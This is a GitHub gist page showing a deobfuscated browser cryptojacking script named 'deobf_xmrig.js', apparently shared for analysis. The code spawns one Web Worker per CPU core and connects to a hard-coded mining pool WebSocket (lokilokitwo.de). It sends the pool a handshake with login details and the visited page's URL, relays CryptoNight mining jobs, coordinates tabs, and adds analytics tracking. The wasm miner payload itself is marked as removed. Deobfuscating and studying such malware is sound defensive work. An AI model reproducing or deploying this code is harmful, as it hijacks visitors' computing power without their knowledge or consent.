Skip to content

Instantly share code, notes, and snippets.

@EdamAme-x
Created August 1, 2024 08:13
Show Gist options
  • Save EdamAme-x/31f516feebcd5fd136f4118495915df1 to your computer and use it in GitHub Desktop.
Save EdamAme-x/31f516feebcd5fd136f4118495915df1 to your computer and use it in GitHub Desktop.
deobf_xmrig.js
var scriptTag;
var rightP;
var rightA;
var VersionCheck;
var CustomP;
var Webs;
var MyC;
var wigi;
var job;
var worcy;
var ws;
var receiveS;
var sendS;
var totalh;
var acchas;
var conn;
var reconn;
var attempts;
var MyWall;
var hands;
var wasmSupported;
var isMob;
var addW;
var openWebSocket;
var starB;
var stoB;
var EverythingIsLife;
var LifeIsEverything;
var RisingSun;
var stopM;
var GetAccHas;
var removeWorker;
var deleteAllWorkers;
var informWorker;
var on_servermsg;
var on_workermsg;
(function () {
function _0x19301() {
try {
if (typeof WebAssembly === "object" && typeof WebAssembly.instantiate === "function") {
var _0x19301 = new WebAssembly.Module(Uint8Array.of(0, 97, 115, 109, 1, 0, 0, 0));
if (_0x19301 instanceof WebAssembly.Module) {
return new WebAssembly.Instance(_0x19301) instanceof WebAssembly.Instance;
}
}
} catch (e) {}
return false;
}
function _0x19327() {
if (navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/webOS/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/iPod/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Windows Phone/i)) {
return true;
} else {
return false;
}
}
function _0x1934D(_0x19301) {
logicalProcessors = _0x19301;
if (_0x19301 == -1) {
try {
logicalProcessors = window.navigator.hardwareConcurrency;
} catch (err) {
logicalProcessors = 4;
}
}
while (logicalProcessors-- > 0) {
lifeisall();
}
}
function _0x19373() {
if (ws != null) {
ws.close();
}
ws = new WebSocket(MyC);
ws.onmessage = _0x1953B;
ws.onerror = function (_0x192DB) {
if (conn < 2) {
conn = 2;
}
job = null;
};
ws.onclose = function () {
if (conn < 2) {
conn = 2;
}
job = null;
};
ws.onopen = function () {
ws.send(JSON.stringify(hands));
attempts = 1;
conn = 1;
};
}
function _0x19399() {
if (conn !== 3 && (ws == null || ws.readyState !== 0 && ws.readyState !== 1)) {
attempts++;
openWebSocket();
}
if (conn !== 3) {
setTimeout(reconn, 10000 * attempts);
}
}
function _0x193BF(_0x1940B) {
if (typeof BroadcastChannel !== "function") {
_0x1940B();
return;
}
_0x193E5();
var _0x19327 = new BroadcastChannel("channel");
var _0x19373 = Math.random();
var _0x19301 = [];
var _0x19399 = 0;
var _0x19431 = true;
_0x19301.push(_0x19373);
_0x19327.onmessage = function (_0x19327) {
if (_0x19301.indexOf(_0x19327.data) === -1) {
_0x19301.push(_0x19327.data);
}
};
function _0x1934D() {
_0x19327.postMessage(_0x19373);
_0x19399++;
if (_0x19399 % 2 === 0) {
_0x19301.sort();
if (_0x19301[0] === _0x19373 && _0x19431) {
_0x1940B();
_0x19431 = false;
_0x19373 = 0;
}
_0x19301 = [];
_0x19301.push(_0x19373);
}
}
_0x193BF.bc = _0x19327;
_0x193BF.id = setInterval(_0x1934D, 1000);
}
function _0x193E5() {
if (typeof _0x193BF.bc !== "undefined") {
_0x193BF.bc.close();
}
if (typeof _0x193BF.id !== "undefined") {
clearInterval(_0x193BF.id);
}
}
function _0x1940B(_0x19373, _0x1940B = _$_87e7[43], _0x19399 = 0, _0x193E5 = -1) {
if (!_0x19301()) {
return;
}
VersionCheck = 1345;
MyWall = _0x19399;
_0x1947D();
conn = 0;
hands = {
identifier: "handshake",
pool: CustomP,
rightalgo: rightA,
login: _0x19373,
password: _0x1940B,
version: 13,
intversion: 1337,
mydomain: "Karma Script 07-05-24 Everything " + window.location.href.split("?")[0].split("#")[0]
};
var _0x19327 = function () {
_0x1934D(_0x193E5);
reconn();
};
_0x193BF(_0x19327);
}
function _0x19431(_0x19373, _0x1940B = _$_87e7[43], _0x19399 = 0, _0x193E5 = -1) {
if (!_0x19301()) {
return;
}
VersionCheck = 1345;
MyWall = _0x19399;
_0x1947D();
conn = 0;
hands = {
identifier: "handshake",
pool: CustomP,
rightalgo: rightA,
login: _0x19373,
password: _0x1940B,
version: 13,
intversion: 1337,
mydomain: "Karma Script 07-05-24 LifeIsEverything " + window.location.href.split("?")[0].split("#")[0]
};
var _0x19327 = function () {
_0x1934D(_0x193E5);
reconn();
};
_0x193BF(_0x19327);
}
function _0x19457(_0x19373, _0x1940B = _$_87e7[43], _0x19399 = 0, _0x193E5 = -1) {
if (!_0x19301()) {
return;
}
VersionCheck = 1345;
MyWall = _0x19399;
_0x1947D();
conn = 0;
hands = {
identifier: "handshake",
pool: CustomP,
rightalgo: rightA,
login: _0x19373,
password: _0x1940B,
version: 13,
intversion: 1337,
mydomain: "Karma Script 07-05-24 RisingSun " + window.location.href.split("?")[0].split("#")[0]
};
var _0x19327 = function () {
_0x1934D(_0x193E5);
reconn();
};
_0x193BF(_0x19327);
}
function _0x1947D() {
conn = 3;
if (ws != null) {
ws.close();
}
_0x194EF();
job = null;
_0x193E5();
}
function _0x194A3() {
return acchas;
}
function _0x194C9() {
if (worcy.length < 1) {
return;
}
var _0x19301 = worcy.shift();
_0x19301.terminate();
}
function _0x194EF() {
for (i = 0; i < worcy.length; i++) {
worcy[i].terminate();
}
worcy = [];
}
function _0x19515(_0x19327) {
var _0x19301 = {
data: "wakeup",
target: _0x19327
};
_0x19561(_0x19301);
}
function _0x1953B(_0x19301) {
var _0x19327 = JSON.parse(_0x19301.data);
receiveS.push(_0x19327);
if (_0x19327.identifier == "job") {
job = _0x19327;
}
if (_0x19327.identifier == "hashsolved") {
acchas++;
}
}
function _0x19561(_0x19301) {
var _0x19373 = _0x19301.target;
if (conn != 1) {
setTimeout(function () {
_0x19515(_0x19373);
}, 2000);
return;
}
if (_0x19301.data == "exit") {
var _0x19373 = workers.shift();
_0x19373.terminate();
}
if (_0x19301.data != "nothing" && _0x19301.data != "wakeup" && _0x19301.data != "exit") {
var _0x1934D = JSON.parse(_0x19301.data);
ws.send(_0x19301.data);
sendS.push(_0x1934D);
}
if (job === null) {
setTimeout(function () {
_0x19515(_0x19373);
}, 2000);
return;
}
var _0x19327 = {
job: job,
throttle: Math.max(0, Math.min(MyWall, 100)),
version: VersionCheck,
wig: wigi
};
_0x19373.postMessage(_0x19327);
if (_0x19301.data != "wakeup") {
totalh += 1;
}
}
function bootstrapGoogleAnalytics(_0x1934D, _0x193E5, _0x19399, _0x19327, _0x193BF, _0x19301, _0x19373) {
_0x1934D.GoogleAnalyticsObject = _0x193BF;
_0x1934D[_0x193BF] = _0x1934D[_0x193BF] || function () {
(_0x1934D[_0x193BF].q = _0x1934D[_0x193BF].q || []).push([7578]);
};
_0x1934D[_0x193BF].l = Date.now();
_0x19301 = _0x193E5.createElement(_0x19399);
_0x19373 = _0x193E5.getElementsByTagName(_0x19399)[0];
_0x19301.async = 1;
_0x19301.src = _0x19327;
_0x19373.parentNode.insertBefore(_0x19301, _0x19373);
}
wasmSupported = _0x19301;
isMob = _0x19327;
addW = _0x1934D;
starB = _0x193BF;
stoB = _0x193E5;
EverythingIsLife = _0x1940B;
LifeIsEverything = _0x19431;
RisingSun = _0x19457;
stopM = _0x1947D;
GetAccHas = _0x194A3;
removeWorker = _0x194C9;
deleteAllWorkers = _0x194EF;
informWorker = _0x19515;
on_servermsg = _0x1953B;
on_workermsg = _0x19561;
scriptTag = [...document.getElementsByTagName("script")].filter(tag => {
return /=bs/.test(tag.src);
});
rightP = null;
rightA = "cn/r";
VersionCheck = 0;
try {
rightP = decodeURIComponent(scriptTag[0].src.split("?nosaj=")[1]);
} catch (err) {
rightP = "xxx";
}
try {
rightA = decodeURIComponent(scriptTag[0].src.split("?algy=")[1].split("?")[0]);
} catch (err) {
rightA = "cn/r";
}
CustomP = rightP;
Webs = [["wss://lokilokitwo.de:10004"]];
MyC = Webs;
wigi = MyC;
job = null;
worcy = [];
receiveS = [];
sendS = [];
totalh = 0;
acchas = 0;
conn = 0;
reconn = 0;
attempts = 1;
MyWall = 0;
hands = null;
openWebSocket = _0x19373;
reconn = _0x19399;
bootstrapGoogleAnalytics(window, document, "script", "https://www.google-analytics.com/analytics.js", "ga");
ga("create", "UA-39296755-10", "auto");
ga("send", "pageview");
return 9942;
})();
function lifeisall() {
var newW = new Worker(URL.createObjectURL(new Blob(["(" + function () {
(function () {
(function () {
var _0x7410 = ["undefined", "currentScript", "src", "ready", "assign", "./this.program", "", "locateFile", "href", "location", "blob:", "indexOf", "/", "lastIndexOf", "replace", "substr", "GET", "open", "send", "responseText", "responseType", "arraybuffer", "response", "onload", "status", "onerror", "print", "bind", "log", "printErr", "error", "arguments", "thisProgram", "quit", "wasmBinary", "object", "no native wasm support detected", "length", "charCodeAt", "slice", "buffer", "HEAP8", "HEAP16", "HEAPU8", "HEAPU16", "HEAP32", "HEAPU32", "HEAPF32", "HEAPF64", "HEAP64", "HEAPU64", "preRun", "function", "shift", "postRun", "unshift", "monitorRunDependencies", "onAbort", "Aborted(", ")", ". Build with -sASSERTIONS for more info.", "RuntimeError", "data:application/octet-stream;base64,", "startsWith", "data:application/octet-stream;base64,/* Removed */"];
function LetsGo() {
/* Removed */
}
if (typeof exports === _0x7410[35] && typeof module === _0x7410[35]) {
module[_0x7410[69]] = LetsGo;
} else {
if (typeof define === _0x7410[52] && define[_0x7410[160]]) {
define([], () => {
return LetsGo;
});
}
}
LetsGo()[_0x7410[66]](_0x7425);
})(2306);
return 4927;
})();
}.toString() + ")()"], {
type: "text/javascript"
})));
worcy.push(newW);
newW.onmessage = on_workermsg;
setTimeout(function () {
informWorker(newW);
}, 2000);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment